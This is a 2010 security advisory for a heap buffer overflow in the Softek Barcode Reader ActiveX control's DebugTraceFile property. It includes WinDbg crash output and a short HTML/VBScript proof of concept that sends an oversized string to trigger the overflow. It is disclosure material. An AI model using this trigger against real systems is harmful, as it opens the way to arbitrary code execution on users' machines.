Softek Barcode Reader Toolkit Active-X 7.1.4.14 Buffer Overflow

`  
Softek Barcode Reader Toolkit ActiveX 7.1.4.14 (SoftekATL.dll) Buffer Overflow PoC  
  
  
Vendor: Softek Software Ltd  
Product web page: http://www.bardecode.com  
Affected version: 7.1.4.14  
  
Summary: The Softek Barcode Reader Toolkit for Windows is a SDK that enables applications  
to extract barcode information from images. The API's available in the toolkit include .net,  
java, com, ocx and windows dll. The standard version includes support for both 1 and 2-D  
barcodes and special features include the ability to split documents by barcode position.  
  
Desc: The vulnerability is caused due to a boundary error in SoftekATL.DLL when handling the  
value assigned to the "DebugTraceFile" property and can be exploited to cause a heap-based  
buffer overflow via an overly long string which may lead to execution of arbitrary code.  
  
  
--------------------------------------------------------------------------  
  
(824.ce0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000001 ebx=44444444 ecx=7ffdf000 edx=00470608 esi=00470000 edi=4444443c  
eip=7c96fa89 esp=0013f0a0 ebp=0013f100 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
ntdll!RtlpNtMakeTemporaryKey+0x7d45:  
7c96fa89 0fb707 movzx eax,word ptr [edi] ds:0023:4444443c=????  
0:000> g  
(824.ce0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000001 ebx=42424242 ecx=7ffdf000 edx=00470608 esi=00470000 edi=4242423a  
eip=7c96fa89 esp=0013f0ac ebp=0013f10c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
ntdll!RtlpNtMakeTemporaryKey+0x7d45:  
7c96fa89 0fb707 movzx eax,word ptr [edi] ds:0023:4242423a=????  
0:000> g  
eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97e120 esi=7c90de6e edi=00000000  
eip=7c90e514 esp=0013fe5c ebp=0013ff58 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
ntdll!KiFastSystemCallRet:  
7c90e514 c3 ret  
  
-----------------------  
  
EIP 7C96FA89  
EAX 00000001  
EBX 42424242  
ECX 7FFDD000 -> 0013F0FC  
EDX 00470608 -> 00152CA0  
EDI 42424239  
ESI 00470000 -> 000000C8  
EBP 0013F10C -> 0013F1F4  
ESP 0013F0AC -> 00470000  
  
--------------------------------------------------------------------------  
  
  
  
Tested on: Microsoft Windows XP Professional SP3 (English)  
Microsoft Windows Internet Explorer 8.0.6001.18702  
Softek Barcode Reader 7.3.1  
  
  
  
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab - http://www.zeroscience.mk  
  
21.09.2010  
  
  
Advisory ID: ZSL-2010-4965  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4965.php  
  
  
  
Proof of Concept:  
-----------------  
  
<object classid='clsid:11E7DA45-B56D-4078-89F6-D3D651EC4CD6' id='bardecode' />  
<script language='vbscript'>  
  
targetFile = "C:\Program Files\Softek Software\Softek Barcode Toolkit\bin\SoftekATL.dll"  
prototype = "Property Let DebugTraceFile As String"  
memberName = "DebugTraceFile"  
progid = "SoftekATL.CBarcode"  
argCount = 1  
  
buffof = String(262, "A") + "BBBB" + String(4408, "C") + "DDDD"  
  
bardecode.DebugTraceFile = buffof  
  
</script>  
`